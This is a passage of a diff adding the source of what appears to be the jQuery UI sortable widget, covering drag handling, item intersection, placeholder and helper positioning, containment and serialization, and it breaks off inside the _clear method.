+		//If the helper is not the original, hide the original so it's not playing any role during the drag, won't cause anything bad this way
+		if(this.helper[0] !== this.currentItem[0]) {
+			this.currentItem.hide();
+		}
+
+		//Create the placeholder
+		this._createPlaceholder();
+
+		//Set a containment if given in the options
+		if(o.containment) {
+			this._setContainment();
+		}
+
+		if( o.cursor && o.cursor !== "auto" ) { // cursor option
+			body = this.document.find( "body" );
+
+			// support: IE
+			this.storedCursor = body.css( "cursor" );
+			body.css( "cursor", o.cursor );
+
+			this.storedStylesheet = $( "<style>*{ cursor: "+o.cursor+" !important; }</style>" ).appendTo( body );
+		}
+
+		if(o.opacity) { // opacity option
+			if (this.helper.css("opacity")) {
+				this._storedOpacity = this.helper.css("opacity");
+			}
+			this.helper.css("opacity", o.opacity);
+		}
+
+		if(o.zIndex) { // zIndex option
+			if (this.helper.css("zIndex")) {
+				this._storedZIndex = this.helper.css("zIndex");
+			}
+			this.helper.css("zIndex", o.zIndex);
+		}
+
+		//Prepare scrolling
+		if(this.scrollParent[0] !== document && this.scrollParent[0].tagName !== "HTML") {
+			this.overflowOffset = this.scrollParent.offset();
+		}
+
+		//Call callbacks
+		this._trigger("start", event, this._uiHash());
+
+		//Recache the helper size
+		if(!this._preserveHelperProportions) {
+			this._cacheHelperProportions();
+		}
+
+
+		//Post "activate" events to possible containers
+		if( !noActivation ) {
+			for ( i = this.containers.length - 1; i >= 0; i-- ) {
+				this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) );
+			}
+		}
+
+		//Prepare possible droppables
+		if($.ui.ddmanager) {
+			$.ui.ddmanager.current = this;
+		}
+
+		if ($.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(this, event);
+		}
+
+		this.dragging = true;
+
+		this.helper.addClass("ui-sortable-helper");
+		this._mouseDrag(event); //Execute the drag once - this causes the helper not to be visible before getting its correct position
+		return true;
+
+	},
+
+	_mouseDrag: function(event) {
+		var i, item, itemElement, intersection,
+			o = this.options,
+			scrolled = false;
+
+		//Compute the helpers position
+		this.position = this._generatePosition(event);
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		if (!this.lastPositionAbs) {
+			this.lastPositionAbs = this.positionAbs;
+		}
+
+		//Do scrolling
+		if(this.options.scroll) {
+			if(this.scrollParent[0] !== document && this.scrollParent[0].tagName !== "HTML") {
+
+				if((this.overflowOffset.top + this.scrollParent[0].offsetHeight) - event.pageY < o.scrollSensitivity) {
+					this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop + o.scrollSpeed;
+				} else if(event.pageY - this.overflowOffset.top < o.scrollSensitivity) {
+					this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop - o.scrollSpeed;
+				}
+
+				if((this.overflowOffset.left + this.scrollParent[0].offsetWidth) - event.pageX < o.scrollSensitivity) {
+					this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft + o.scrollSpeed;
+				} else if(event.pageX - this.overflowOffset.left < o.scrollSensitivity) {
+					this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft - o.scrollSpeed;
+				}
+
+			} else {
+
+				if(event.pageY - $(document).scrollTop() < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
+				} else if($(window).height() - (event.pageY - $(document).scrollTop()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
+				}
+
+				if(event.pageX - $(document).scrollLeft() < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
+				} else if($(window).width() - (event.pageX - $(document).scrollLeft()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
+				}
+
+			}
+
+			if(scrolled !== false && $.ui.ddmanager && !o.dropBehaviour) {
+				$.ui.ddmanager.prepareOffsets(this, event);
+			}
+		}
+
+		//Regenerate the absolute position used for position checks
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		//Set the helper position
+		if(!this.options.axis || this.options.axis !== "y") {
+			this.helper[0].style.left = this.position.left+"px";
+		}
+		if(!this.options.axis || this.options.axis !== "x") {
+			this.helper[0].style.top = this.position.top+"px";
+		}
+
+		//Rearrange
+		for (i = this.items.length - 1; i >= 0; i--) {
+
+			//Cache variables and intersection, continue if no intersection
+			item = this.items[i];
+			itemElement = item.item[0];
+			intersection = this._intersectsWithPointer(item);
+			if (!intersection) {
+				continue;
+			}
+
+			// Only put the placeholder inside the current Container, skip all
+			// items from other containers. This works because when moving
+			// an item from one container to another the
+			// currentContainer is switched before the placeholder is moved.
+			//
+			// Without this, moving items in "sub-sortables" can cause
+			// the placeholder to jitter between the outer and inner container.
+			if (item.instance !== this.currentContainer) {
+				continue;
+			}
+
+			// cannot intersect with itself
+			// no useless actions that have been done before
+			// no action if the item moved is the parent of the item checked
+			if (itemElement !== this.currentItem[0] &&
+				this.placeholder[intersection === 1 ? "next" : "prev"]()[0] !== itemElement &&
+				!$.contains(this.placeholder[0], itemElement) &&
+				(this.options.type === "semi-dynamic" ? !$.contains(this.element[0], itemElement) : true)
+			) {
+
+				this.direction = intersection === 1 ? "down" : "up";
+
+				if (this.options.tolerance === "pointer" || this._intersectsWithSides(item)) {
+					this._rearrange(event, item);
+				} else {
+					break;
+				}
+
+				this._trigger("change", event, this._uiHash());
+				break;
+			}
+		}
+
+		//Post events to containers
+		this._contactContainers(event);
+
+		//Interconnect with droppables
+		if($.ui.ddmanager) {
+			$.ui.ddmanager.drag(this, event);
+		}
+
+		//Call callbacks
+		this._trigger("sort", event, this._uiHash());
+
+		this.lastPositionAbs = this.positionAbs;
+		return false;
+
+	},
+
+	_mouseStop: function(event, noPropagation) {
+
+		if(!event) {
+			return;
+		}
+
+		//If we are using droppables, inform the manager about the drop
+		if ($.ui.ddmanager && !this.options.dropBehaviour) {
+			$.ui.ddmanager.drop(this, event);
+		}
+
+		if(this.options.revert) {
+			var that = this,
+				cur = this.placeholder.offset(),
+				axis = this.options.axis,
+				animation = {};
+
+			if ( !axis || axis === "x" ) {
+				animation.left = cur.left - this.offset.parent.left - this.margins.left + (this.offsetParent[0] === document.body ? 0 : this.offsetParent[0].scrollLeft);
+			}
+			if ( !axis || axis === "y" ) {
+				animation.top = cur.top - this.offset.parent.top - this.margins.top + (this.offsetParent[0] === document.body ? 0 : this.offsetParent[0].scrollTop);
+			}
+			this.reverting = true;
+			$(this.helper).animate( animation, parseInt(this.options.revert, 10) || 500, function() {
+				that._clear(event);
+			});
+		} else {
+			this._clear(event, noPropagation);
+		}
+
+		return false;
+
+	},
+
+	cancel: function() {
+
+		if(this.dragging) {
+
+			this._mouseUp({ target: null });
+
+			if(this.options.helper === "original") {
+				this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
+			} else {
+				this.currentItem.show();
+			}
+
+			//Post deactivating events to containers
+			for (var i = this.containers.length - 1; i >= 0; i--){
+				this.containers[i]._trigger("deactivate", null, this._uiHash(this));
+				if(this.containers[i].containerCache.over) {
+					this.containers[i]._trigger("out", null, this._uiHash(this));
+					this.containers[i].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		if (this.placeholder) {
+			//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
+			if(this.placeholder[0].parentNode) {
+				this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
+			}
+			if(this.options.helper !== "original" && this.helper && this.helper[0].parentNode) {
+				this.helper.remove();
+			}
+
+			$.extend(this, {
+				helper: null,
+				dragging: false,
+				reverting: false,
+				_noFinalSort: null
+			});
+
+			if(this.domPosition.prev) {
+				$(this.domPosition.prev).after(this.currentItem);
+			} else {
+				$(this.domPosition.parent).prepend(this.currentItem);
+			}
+		}
+
+		return this;
+
+	},
+
+	serialize: function(o) {
+
+		var items = this._getItemsAsjQuery(o && o.connected),
+			str = [];
+		o = o || {};
+
+		$(items).each(function() {
+			var res = ($(o.item || this).attr(o.attribute || "id") || "").match(o.expression || (/(.+)[\-=_](.+)/));
+			if (res) {
+				str.push((o.key || res[1]+"[]")+"="+(o.key && o.expression ? res[1] : res[2]));
+			}
+		});
+
+		if(!str.length && o.key) {
+			str.push(o.key + "=");
+		}
+
+		return str.join("&");
+
+	},
+
+	toArray: function(o) {
+
+		var items = this._getItemsAsjQuery(o && o.connected),
+			ret = [];
+
+		o = o || {};
+
+		items.each(function() { ret.push($(o.item || this).attr(o.attribute || "id") || ""); });
+		return ret;
+
+	},
+
+	/* Be careful with the following core functions */
+	_intersectsWith: function(item) {
+
+		var x1 = this.positionAbs.left,
+			x2 = x1 + this.helperProportions.width,
+			y1 = this.positionAbs.top,
+			y2 = y1 + this.helperProportions.height,
+			l = item.left,
+			r = l + item.width,
+			t = item.top,
+			b = t + item.height,
+			dyClick = this.offset.click.top,
+			dxClick = this.offset.click.left,
+			isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t && ( y1 + dyClick ) < b ),
+			isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l && ( x1 + dxClick ) < r ),
+			isOverElement = isOverElementHeight && isOverElementWidth;
+
+		if ( this.options.tolerance === "pointer" ||
+			this.options.forcePointerForContainers ||
+			(this.options.tolerance !== "pointer" && this.helperProportions[this.floating ? "width" : "height"] > item[this.floating ? "width" : "height"])
+		) {
+			return isOverElement;
+		} else {
+
+			return (l < x1 + (this.helperProportions.width / 2) && // Right Half
+				x2 - (this.helperProportions.width / 2) < r && // Left Half
+				t < y1 + (this.helperProportions.height / 2) && // Bottom Half
+				y2 - (this.helperProportions.height / 2) < b ); // Top Half
+
+		}
+	},
+
+	_intersectsWithPointer: function(item) {
+
+		var isOverElementHeight = (this.options.axis === "x") || this._isOverAxis(this.positionAbs.top + this.offset.click.top, item.top, item.height),
+			isOverElementWidth = (this.options.axis === "y") || this._isOverAxis(this.positionAbs.left + this.offset.click.left, item.left, item.width),
+			isOverElement = isOverElementHeight && isOverElementWidth,
+			verticalDirection = this._getDragVerticalDirection(),
+			horizontalDirection = this._getDragHorizontalDirection();
+
+		if (!isOverElement) {
+			return false;
+		}
+
+		return this.floating ?
+			( ((horizontalDirection && horizontalDirection === "right") || verticalDirection === "down") ? 2 : 1 )
+			: ( verticalDirection && (verticalDirection === "down" ? 2 : 1) );
+
+	},
+
+	_intersectsWithSides: function(item) {
+
+		var isOverBottomHalf = this._isOverAxis(this.positionAbs.top + this.offset.click.top, item.top + (item.height/2), item.height),
+			isOverRightHalf = this._isOverAxis(this.positionAbs.left + this.offset.click.left, item.left + (item.width/2), item.width),
+			verticalDirection = this._getDragVerticalDirection(),
+			horizontalDirection = this._getDragHorizontalDirection();
+
+		if (this.floating && horizontalDirection) {
+			return ((horizontalDirection === "right" && isOverRightHalf) || (horizontalDirection === "left" && !isOverRightHalf));
+		} else {
+			return verticalDirection && ((verticalDirection === "down" && isOverBottomHalf) || (verticalDirection === "up" && !isOverBottomHalf));
+		}
+
+	},
+
+	_getDragVerticalDirection: function() {
+		var delta = this.positionAbs.top - this.lastPositionAbs.top;
+		return delta !== 0 && (delta > 0 ? "down" : "up");
+	},
+
+	_getDragHorizontalDirection: function() {
+		var delta = this.positionAbs.left - this.lastPositionAbs.left;
+		return delta !== 0 && (delta > 0 ? "right" : "left");
+	},
+
+	refresh: function(event) {
+		this._refreshItems(event);
+		this._setHandleClassName();
+		this.refreshPositions();
+		return this;
+	},
+
+	_connectWith: function() {
+		var options = this.options;
+		return options.connectWith.constructor === String ? [options.connectWith] : options.connectWith;
+	},
+
+	_getItemsAsjQuery: function(connected) {
+
+		var i, j, cur, inst,
+			items = [],
+			queries = [],
+			connectWith = this._connectWith();
+
+		if(connectWith && connected) {
+			for (i = connectWith.length - 1; i >= 0; i--){
+				cur = $(connectWith[i]);
+				for ( j = cur.length - 1; j >= 0; j--){
+					inst = $.data(cur[j], this.widgetFullName);
+					if(inst && inst !== this && !inst.options.disabled) {
+						queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element) : $(inst.options.items, inst.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), inst]);
+					}
+				}
+			}
+		}
+
+		queries.push([$.isFunction(this.options.items) ? this.options.items.call(this.element, null, { options: this.options, item: this.currentItem }) : $(this.options.items, this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), this]);
+
+		function addItems() {
+			items.push( this );
+		}
+		for (i = queries.length - 1; i >= 0; i--){
+			queries[i][0].each( addItems );
+		}
+
+		return $(items);
+
+	},
+
+	_removeCurrentsFromItems: function() {
+
+		var list = this.currentItem.find(":data(" + this.widgetName + "-item)");
+
+		this.items = $.grep(this.items, function (item) {
+			for (var j=0; j < list.length; j++) {
+				if(list[j] === item.item[0]) {
+					return false;
+				}
+			}
+			return true;
+		});
+
+	},
+
+	_refreshItems: function(event) {
+
+		this.items = [];
+		this.containers = [this];
+
+		var i, j, cur, inst, targetData, _queries, item, queriesLength,
+			items = this.items,
+			queries = [[$.isFunction(this.options.items) ? this.options.items.call(this.element[0], event, { item: this.currentItem }) : $(this.options.items, this.element), this]],
+			connectWith = this._connectWith();
+
+		if(connectWith && this.ready) { //Shouldn't be run the first time through due to massive slow-down
+			for (i = connectWith.length - 1; i >= 0; i--){
+				cur = $(connectWith[i]);
+				for (j = cur.length - 1; j >= 0; j--){
+					inst = $.data(cur[j], this.widgetFullName);
+					if(inst && inst !== this && !inst.options.disabled) {
+						queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element[0], event, { item: this.currentItem }) : $(inst.options.items, inst.element), inst]);
+						this.containers.push(inst);
+					}
+				}
+			}
+		}
+
+		for (i = queries.length - 1; i >= 0; i--) {
+			targetData = queries[i][1];
+			_queries = queries[i][0];
+
+			for (j=0, queriesLength = _queries.length; j < queriesLength; j++) {
+				item = $(_queries[j]);
+
+				item.data(this.widgetName + "-item", targetData); // Data for target checking (mouse manager)
+
+				items.push({
+					item: item,
+					instance: targetData,
+					width: 0, height: 0,
+					left: 0, top: 0
+				});
+			}
+		}
+
+	},
+
+	refreshPositions: function(fast) {
+
+		//This has to be redone because due to the item being moved out/into the offsetParent, the offsetParent's position will change
+		if(this.offsetParent && this.helper) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		var i, item, t, p;
+
+		for (i = this.items.length - 1; i >= 0; i--){
+			item = this.items[i];
+
+			//We ignore calculating positions of all connected containers when we're not over them
+			if(item.instance !== this.currentContainer && this.currentContainer && item.item[0] !== this.currentItem[0]) {
+				continue;
+			}
+
+			t = this.options.toleranceElement ? $(this.options.toleranceElement, item.item) : item.item;
+
+			if (!fast) {
+				item.width = t.outerWidth();
+				item.height = t.outerHeight();
+			}
+
+			p = t.offset();
+			item.left = p.left;
+			item.top = p.top;
+		}
+
+		if(this.options.custom && this.options.custom.refreshContainers) {
+			this.options.custom.refreshContainers.call(this);
+		} else {
+			for (i = this.containers.length - 1; i >= 0; i--){
+				p = this.containers[i].element.offset();
+				this.containers[i].containerCache.left = p.left;
+				this.containers[i].containerCache.top = p.top;
+				this.containers[i].containerCache.width = this.containers[i].element.outerWidth();
+				this.containers[i].containerCache.height = this.containers[i].element.outerHeight();
+			}
+		}
+
+		return this;
+	},
+
+	_createPlaceholder: function(that) {
+		that = that || this;
+		var className,
+			o = that.options;
+
+		if(!o.placeholder || o.placeholder.constructor === String) {
+			className = o.placeholder;
+			o.placeholder = {
+				element: function() {
+
+					var nodeName = that.currentItem[0].nodeName.toLowerCase(),
+						element = $( "<" + nodeName + ">", that.document[0] )
+							.addClass(className || that.currentItem[0].className+" ui-sortable-placeholder")
+							.removeClass("ui-sortable-helper");
+
+					if ( nodeName === "tr" ) {
+						that.currentItem.children().each(function() {
+							$( "<td>&#160;</td>", that.document[0] )
+								.attr( "colspan", $( this ).attr( "colspan" ) || 1 )
+								.appendTo( element );
+						});
+					} else if ( nodeName === "img" ) {
+						element.attr( "src", that.currentItem.attr( "src" ) );
+					}
+
+					if ( !className ) {
+						element.css( "visibility", "hidden" );
+					}
+
+					return element;
+				},
+				update: function(container, p) {
+
+					// 1. If a className is set as 'placeholder option, we don't force sizes - the class is responsible for that
+					// 2. The option 'forcePlaceholderSize can be enabled to force it even if a class name is specified
+					if(className && !o.forcePlaceholderSize) {
+						return;
+					}
+
+					//If the element doesn't have a actual height by itself (without styles coming from a stylesheet), it receives the inline height from the dragged item
+					if(!p.height()) { p.height(that.currentItem.innerHeight() - parseInt(that.currentItem.css("paddingTop")||0, 10) - parseInt(that.currentItem.css("paddingBottom")||0, 10)); }
+					if(!p.width()) { p.width(that.currentItem.innerWidth() - parseInt(that.currentItem.css("paddingLeft")||0, 10) - parseInt(that.currentItem.css("paddingRight")||0, 10)); }
+				}
+			};
+		}
+
+		//Create the placeholder
+		that.placeholder = $(o.placeholder.element.call(that.element, that.currentItem));
+
+		//Append it after the actual current item
+		that.currentItem.after(that.placeholder);
+
+		//Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317)
+		o.placeholder.update(that, that.placeholder);
+
+	},
+
+	_contactContainers: function(event) {
+		var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom, floating, axis,
+			innermostContainer = null,
+			innermostIndex = null;
+
+		// get innermost container that intersects with item
+		for (i = this.containers.length - 1; i >= 0; i--) {
+
+			// never consider a container that's located within the item itself
+			if($.contains(this.currentItem[0], this.containers[i].element[0])) {
+				continue;
+			}
+
+			if(this._intersectsWith(this.containers[i].containerCache)) {
+
+				// if we've already found a container and it's more "inner" than this, then continue
+				if(innermostContainer && $.contains(this.containers[i].element[0], innermostContainer.element[0])) {
+					continue;
+				}
+
+				innermostContainer = this.containers[i];
+				innermostIndex = i;
+
+			} else {
+				// container doesn't intersect. trigger "out" event if necessary
+				if(this.containers[i].containerCache.over) {
+					this.containers[i]._trigger("out", event, this._uiHash(this));
+					this.containers[i].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		// if no intersecting containers found, return
+		if(!innermostContainer) {
+			return;
+		}
+
+		// move the item into the container if it's not there already
+		if(this.containers.length === 1) {
+			if (!this.containers[innermostIndex].containerCache.over) {
+				this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
+				this.containers[innermostIndex].containerCache.over = 1;
+			}
+		} else {
+
+			//When entering a new container, we will find the item with the least distance and append our item near it
+			dist = 10000;
+			itemWithLeastDistance = null;
+			floating = innermostContainer.floating || this._isFloating(this.currentItem);
+			posProperty = floating ? "left" : "top";
+			sizeProperty = floating ? "width" : "height";
+			axis = floating ? "clientX" : "clientY";
+
+			for (j = this.items.length - 1; j >= 0; j--) {
+				if(!$.contains(this.containers[innermostIndex].element[0], this.items[j].item[0])) {
+					continue;
+				}
+				if(this.items[j].item[0] === this.currentItem[0]) {
+					continue;
+				}
+
+				cur = this.items[j].item.offset()[posProperty];
+				nearBottom = false;
+				if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) {
+					nearBottom = true;
+				}
+
+				if ( Math.abs( event[ axis ] - cur ) < dist ) {
+					dist = Math.abs( event[ axis ] - cur );
+					itemWithLeastDistance = this.items[ j ];
+					this.direction = nearBottom ? "up": "down";
+				}
+			}
+
+			//Check if dropOnEmpty is enabled
+			if(!itemWithLeastDistance && !this.options.dropOnEmpty) {
+				return;
+			}
+
+			if(this.currentContainer === this.containers[innermostIndex]) {
+				if ( !this.currentContainer.containerCache.over ) {
+					this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() );
+					this.currentContainer.containerCache.over = 1;
+				}
+				return;
+			}
+
+			itemWithLeastDistance ? this._rearrange(event, itemWithLeastDistance, null, true) : this._rearrange(event, null, this.containers[innermostIndex].element, true);
+			this._trigger("change", event, this._uiHash());
+			this.containers[innermostIndex]._trigger("change", event, this._uiHash(this));
+			this.currentContainer = this.containers[innermostIndex];
+
+			//Update the placeholder
+			this.options.placeholder.update(this.currentContainer, this.placeholder);
+
+			this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
+			this.containers[innermostIndex].containerCache.over = 1;
+		}
+
+
+	},
+
+	_createHelper: function(event) {
+
+		var o = this.options,
+			helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [event, this.currentItem])) : (o.helper === "clone" ? this.currentItem.clone() : this.currentItem);
+
+		//Add the helper to the DOM if that didn't happen already
+		if(!helper.parents("body").length) {
+			$(o.appendTo !== "parent" ? o.appendTo : this.currentItem[0].parentNode)[0].appendChild(helper[0]);
+		}
+
+		if(helper[0] === this.currentItem[0]) {
+			this._storedCSS = { width: this.currentItem[0].style.width, height: this.currentItem[0].style.height, position: this.currentItem.css("position"), top: this.currentItem.css("top"), left: this.currentItem.css("left") };
+		}
+
+		if(!helper[0].style.width || o.forceHelperSize) {
+			helper.width(this.currentItem.width());
+		}
+		if(!helper[0].style.height || o.forceHelperSize) {
+			helper.height(this.currentItem.height());
+		}
+
+		return helper;
+
+	},
+
+	_adjustOffsetFromHelper: function(obj) {
+		if (typeof obj === "string") {
+			obj = obj.split(" ");
+		}
+		if ($.isArray(obj)) {
+			obj = {left: +obj[0], top: +obj[1] || 0};
+		}
+		if ("left" in obj) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ("right" in obj) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ("top" in obj) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ("bottom" in obj) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_getParentOffset: function() {
+
+
+		//Get the offsetParent and cache its position
+		this.offsetParent = this.helper.offsetParent();
+		var po = this.offsetParent.offset();
+
+		// This is a special case where we need to modify a offset calculated on start, since the following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
+		//    the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
+		if(this.cssPosition === "absolute" && this.scrollParent[0] !== document && $.contains(this.scrollParent[0], this.offsetParent[0])) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		// This needs to be actually done for all browsers, since pageX/pageY includes this information
+		// with an ugly IE fix
+		if( this.offsetParent[0] === document.body || (this.offsetParent[0].tagName && this.offsetParent[0].tagName.toLowerCase() === "html" && $.ui.ie)) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"),10) || 0),
+			left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"),10) || 0)
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+
+		if(this.cssPosition === "relative") {
+			var p = this.currentItem.position();
+			return {
+				top: p.top - (parseInt(this.helper.css("top"),10) || 0) + this.scrollParent.scrollTop(),
+				left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollParent.scrollLeft()
+			};
+		} else {
+			return { top: 0, left: 0 };
+		}
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: (parseInt(this.currentItem.css("marginLeft"),10) || 0),
+			top: (parseInt(this.currentItem.css("marginTop"),10) || 0)
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var ce, co, over,
+			o = this.options;
+		if(o.containment === "parent") {
+			o.containment = this.helper[0].parentNode;
+		}
+		if(o.containment === "document" || o.containment === "window") {
+			this.containment = [
+				0 - this.offset.relative.left - this.offset.parent.left,
+				0 - this.offset.relative.top - this.offset.parent.top,
+				$(o.containment === "document" ? document : window).width() - this.helperProportions.width - this.margins.left,
+				($(o.containment === "document" ? document : window).height() || document.body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top
+			];
+		}
+
+		if(!(/^(document|window|parent)$/).test(o.containment)) {
+			ce = $(o.containment)[0];
+			co = $(o.containment).offset();
+			over = ($(ce).css("overflow") !== "hidden");
+
+			this.containment = [
+				co.left + (parseInt($(ce).css("borderLeftWidth"),10) || 0) + (parseInt($(ce).css("paddingLeft"),10) || 0) - this.margins.left,
+				co.top + (parseInt($(ce).css("borderTopWidth"),10) || 0) + (parseInt($(ce).css("paddingTop"),10) || 0) - this.margins.top,
+				co.left+(over ? Math.max(ce.scrollWidth,ce.offsetWidth) : ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"),10) || 0) - (parseInt($(ce).css("paddingRight"),10) || 0) - this.helperProportions.width - this.margins.left,
+				co.top+(over ? Math.max(ce.scrollHeight,ce.offsetHeight) : ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"),10) || 0) - (parseInt($(ce).css("paddingBottom"),10) || 0) - this.helperProportions.height - this.margins.top
+			];
+		}
+
+	},
+
+	_convertPositionTo: function(d, pos) {
+
+		if(!pos) {
+			pos = this.position;
+		}
+		var mod = d === "absolute" ? 1 : -1,
+			scroll = this.cssPosition === "absolute" && !(this.scrollParent[0] !== document && $.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent,
+			scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
+
+		return {
+			top: (
+				pos.top	+																// The absolute mouse position
+				this.offset.relative.top * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top * mod -											// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod)
+			),
+			left: (
+				pos.left +																// The absolute mouse position
+				this.offset.relative.left * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left * mod	-										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod)
+			)
+		};
+
+	},
+
+	_generatePosition: function(event) {
+
+		var top, left,
+			o = this.options,
+			pageX = event.pageX,
+			pageY = event.pageY,
+			scroll = this.cssPosition === "absolute" && !(this.scrollParent[0] !== document && $.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
+
+		// This is another very weird special case that only happens for relative elements:
+		// 1. If the css position is relative
+		// 2. and the scroll parent is the document or similar to the offset parent
+		// we have to refresh the relative offset during the scroll so there are no jumps
+		if(this.cssPosition === "relative" && !(this.scrollParent[0] !== document && this.scrollParent[0] !== this.offsetParent[0])) {
+			this.offset.relative = this._getRelativeOffset();
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		if(this.originalPosition) { //If we are not dragging yet, we won't check for options
+
+			if(this.containment) {
+				if(event.pageX - this.offset.click.left < this.containment[0]) {
+					pageX = this.containment[0] + this.offset.click.left;
+				}
+				if(event.pageY - this.offset.click.top < this.containment[1]) {
+					pageY = this.containment[1] + this.offset.click.top;
+				}
+				if(event.pageX - this.offset.click.left > this.containment[2]) {
+					pageX = this.containment[2] + this.offset.click.left;
+				}
+				if(event.pageY - this.offset.click.top > this.containment[3]) {
+					pageY = this.containment[3] + this.offset.click.top;
+				}
+			}
+
+			if(o.grid) {
+				top = this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1];
+				pageY = this.containment ? ( (top - this.offset.click.top >= this.containment[1] && top - this.offset.click.top <= this.containment[3]) ? top : ((top - this.offset.click.top >= this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
+
+				left = this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0];
+				pageX = this.containment ? ( (left - this.offset.click.left >= this.containment[0] && left - this.offset.click.left <= this.containment[2]) ? left : ((left - this.offset.click.left >= this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
+			}
+
+		}
+
+		return {
+			top: (
+				pageY -																// The absolute mouse position
+				this.offset.click.top -													// Click offset (relative to the element)
+				this.offset.relative.top	-											// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top +												// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ))
+			),
+			left: (
+				pageX -																// The absolute mouse position
+				this.offset.click.left -												// Click offset (relative to the element)
+				this.offset.relative.left	-											// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left +												// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ))
+			)
+		};
+
+	},
+
+	_rearrange: function(event, i, a, hardRefresh) {
+
+		a ? a[0].appendChild(this.placeholder[0]) : i.item[0].parentNode.insertBefore(this.placeholder[0], (this.direction === "down" ? i.item[0] : i.item[0].nextSibling));
+
+		//Various things done here to improve the performance:
+		// 1. we create a setTimeout, that calls refreshPositions
+		// 2. on the instance, we have a counter variable, that get's higher after every append
+		// 3. on the local scope, we copy the counter variable, and check in the timeout, if it's still the same
+		// 4. this lets only the last addition to the timeout stack through
+		this.counter = this.counter ? ++this.counter : 1;
+		var counter = this.counter;
+
+		this._delay(function() {
+			if(counter === this.counter) {
+				this.refreshPositions(!hardRefresh); //Precompute after each DOM insertion, NOT on mousemove
+			}
+		});
+
+	},
+
+	_clear: function(event, noPropagation) {
+
+		this.reverting = false;
+		// We delay all events that have to be triggered to after the point where the placeholder has been removed and
+		// everything else normalized again
+		var i,
+			delayedTriggers = [];
+
+		// We first have to update the dom position of the actual currentItem
